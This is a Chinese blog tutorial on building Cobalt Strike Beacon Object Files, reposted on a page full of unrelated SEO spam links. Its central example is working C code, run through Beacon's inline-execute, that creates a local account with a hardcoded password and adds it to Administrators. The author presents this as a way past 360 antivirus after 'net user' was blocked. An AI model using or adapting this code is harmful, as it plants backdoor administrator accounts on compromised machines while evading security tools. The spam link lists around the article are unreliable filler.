当前位置: 首页 > news >正文

用什么程序做网站好查看网站被百度收录

用什么程序做网站好,查看网站被百度收录,广东贸易网站建设哪家,济南seo优化公司CS BOF是什么? Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。 BOF 的占地面积较小。它们在 Beacon 进程内部运…
CS BOF是什么?

Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。

BOF 的占地面积较小。它们在 Beacon 进程内部运行,并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。

如何开发BOF?

下段代码是官方给出的代码:
下段代码是官方给出的代码:

#include <windows.h>
#include“beacon.h”
void go(char * args, int alen) {BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}

这里的beacon.h头文件的下载地址如下:

https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h

这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。

VS编译如下:

cl.exe /c /GS- hello.c /Fo hello.obj

但是这里需要注意一个问题,这样编译的话可能会报错,不包括路径集等等。

这里需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考:
https://blog.csdn.net/weixin_41115751/article/details/89817123
在这里插入图片描述
在BOF中我们是可以通过GetProcAddress,LoadLibraryA,GetModuleHandle 来调用我们想要的windows API。

例如我们可以将添加用户的代码放到go函数中。

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregiontypedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {USER_INFO_1 UserInfo;DWORD dwLevel = 1;DWORD dwError = 0;UserInfo.usri1_name = (TCHAR*)L"test123";            // 账户    UserInfo.usri1_password = (TCHAR*)L"Test@#123";      // 密码UserInfo.usri1_priv = USER_PRIV_USER;UserInfo.usri1_home_dir = NULL;UserInfo.usri1_comment = NULL;UserInfo.usri1_flags = UF_SCRIPT;UserInfo.usri1_script_path = NULL;NET_API_STATUS nStatus;nStatus = NETAPI32$NetUserAdd(NULL,dwLevel,(LPBYTE)&UserInfo,&dwError);if (nStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);}LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname = UserInfo.usri1_name;NET_API_STATUS aStatus;aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);if (aStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);}}
#elsevoid main(int argc, char* argv[]) {}#endif

如下图使用inline-execute调用即可。
在这里插入图片描述
如下图直接使用net user去添加账户:

这里卡住了,来看下win10机器显示。

在这里插入图片描述在这里插入图片描述
可以发现是不行的,我们用BOF执行。

可以发现已经添加成功了,360没有任何反应。

在这里插入图片描述

态函数

除了直接调用windows API之外,我们也可以使用动态函数来进行解析。

动态函数解析就是将Win32 API的声明和调用变成如下格式:

NETAPI32$NetUserAdd
左边是DLL右边是函数名
环境准备
操作系统:windows10
编译器:VS    

这里我们使用的是BOF开发模板是:

https://github.com/securifybv/Visual-Studio-BOF-template

环境搭建

首先从github上下载下来之后,然后放到VS的模板目录。

如下图:
在这里插入图片描述
放到这里之后打开VS,可以看到已经有这个模板了。

在这里插入图片描述
点击创建。

但是这里创建出来的文件是Source.cpp,也就是C++的文件。
在这里插入图片描述
这里我们将这个文件复制出来然后改成C文件。
在这里插入图片描述
然后点击生成->批生成
在这里插入图片描述
勾选前两个即可。
在这里插入图片描述
然后生成即可。
在这里插入图片描述
在这里插入图片描述
如上图就生成成功了。

入口

其实go函数就是BOF的入口,当你在CS上执行inline-execute命令的时候,就会调用go函数。

所以我们可以将win32相关API写到go函数中。

如下例子获取当前用户名:

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregionDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {char username[1024];DWORD usernameLength = sizeof username;ADVAPI32$GetUserNameA(username, &usernameLength);BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
}
#elsevoid main(int argc, char* argv[]) {}#endif

在这里插入图片描述

http://www.yayakq.cn/news/602159/

相关文章:

  • 自助商城网站建设seo如何分析网站
  • 特色网站模板设计师必备的网站有哪些
  • 网站做js跳转适合网站开发工程师的公司
  • 做推文的网站学校网站建设方案及报价
  • 怎样写网站描述网页设计与制作教程专题分析
  • 网站域名登录vs做的网站案例
  • 网站开发费用投入情况网站开发常用数据库
  • html做网站步骤大全德阳互联免费云主机
  • 现在学网站开发雅安网站开发
  • 金环建设集团网站做一个小网站需要多少钱
  • 微网站制作平台哪个好网站怎么做下载网页
  • 西宁网站维护凡科网上传网站
  • cc网站域名注册中小型网站建设公司
  • 苏州网站建设信息网络零基础建设网站教程
  • 郑州网站做网站淘宝网站建设可信吗
  • 广州 科技网站建设公司建设企业网站内容
  • 有经验的常州手机网站深圳专业高端网站建设
  • wordpress私人建站主题wordpress调用当前分类名
  • 精美 企业网站模板公司的网站是什么
  • 代码家的干货网站电商网站设计方案大全
  • 白城网站建设公司免费制作永久个人网站
  • 网站设计论文开题报告建筑人才网官方网站评职称
  • 基于vue的毕业设计题目西安关键词seo
  • 网站建设空间空间有几种类型如何更换网站新域名
  • 简约的网站设计界面河南郑州广告公司网站建设
  • 旅游投资公司网站建设ppt模板asp 企业网站
  • 网站的排版包括什么意思做肝病科网站
  • 上海人才网官网站首页楚雄市住房和城乡建设局门户网站
  • 有没有专门做中式的设计网站百度如何给网站做评价
  • 网站没有百度权重百度回收网站搭建